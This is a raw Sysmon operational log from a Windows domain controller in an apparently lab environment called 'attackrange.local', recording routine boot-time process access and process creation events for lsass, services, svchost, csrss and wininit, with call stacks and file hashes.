09:09:19.075{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.075{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+46888|c:\windows\system32\rpcss.dll+3a983|c:\windows\system32\rpcss.dll+3a8ee|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.059{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.059{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.059{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.059{A5F018FF-28BD-5F80-0A00-000000007F01}852928C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.044{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.044{A5F018FF-28BD-5F80-0A00-000000007F01}852856C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-0D00-000000007F01}1004C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+19bbb|C:\Windows\system32\services.exe+1d91b|C:\Windows\system32\services.exe+22933|C:\Windows\system32\services.exe+23dec|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.044{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.028{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.028{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.013{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:18.919{A5F018FF-28BD-5F80-0A00-000000007F01}852928C:\Windows\system32\services.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:18.919{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:18.919{A5F018FF-28BD-5F80-0A00-000000007F01}852856C:\Windows\system32\services.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+19e30|C:\Windows\system32\services.exe+19b29|C:\Windows\system32\services.exe+1d91b|C:\Windows\system32\services.exe+22933|C:\Windows\system32\services.exe+23dec|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:18.924{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for Windows ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationsvchost.exeC:\Windows\system32\svchost.exe -k DcomLaunchC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x8000000000000000733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:18.919{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.841{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.841{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25dfa|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.841{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.825{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25dfa|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.825{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.575{A5F018FF-28BD-5F80-0B00-000000007F01}868872C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+4e37c|C:\Windows\system32\lsasrv.dll+56c8f|C:\Windows\system32\lsasrv.dll+620fe|C:\Windows\system32\lsass.exe+2086|C:\Windows\system32\lsass.exe+1e11|C:\Windows\system32\lsass.exe+1551|C:\Windows\system32\lsass.exe+4708|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.481{A5F018FF-28BD-5F80-0700-000000007F01}716720C:\Windows\system32\wininit.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1000000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wininit.exe+b9e0|C:\Windows\system32\wininit.exe+94ff|C:\Windows\system32\wininit.exe+8c5f|C:\Windows\system32\wininit.exe+4b9b|C:\Windows\system32\wininit.exe+546c|C:\Windows\system32\wininit.exe+cb13|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.481{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.481{A5F018FF-28BD-5F80-0700-000000007F01}716720C:\Windows\system32\wininit.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\wininit.exe+94d2|C:\Windows\system32\wininit.exe+8c5f|C:\Windows\system32\wininit.exe+4b9b|C:\Windows\system32\wininit.exe+546c|C:\Windows\system32\wininit.exe+cb13|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.484{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\System32\lsass.exe10.0.14393.2580 (rs1_release_inmarket.181009-1745)Local Security Authority ProcessMicrosoft® Windows® Operating SystemMicrosoft Corporationlsass.exeC:\Windows\system32\lsass.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=5AE8589CDDE46ED132AEF8280BC8894A,SHA256=D957A03C6EA35CBF0C90B0B088DF07E7803A1A3EEB4BA889038F88DB066BBDC4,IMPHASH=0AA67FE637515AC7535797573607EAA2{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\System32\wininit.exewininit.exe 10341000x8000000000000000722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.278{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 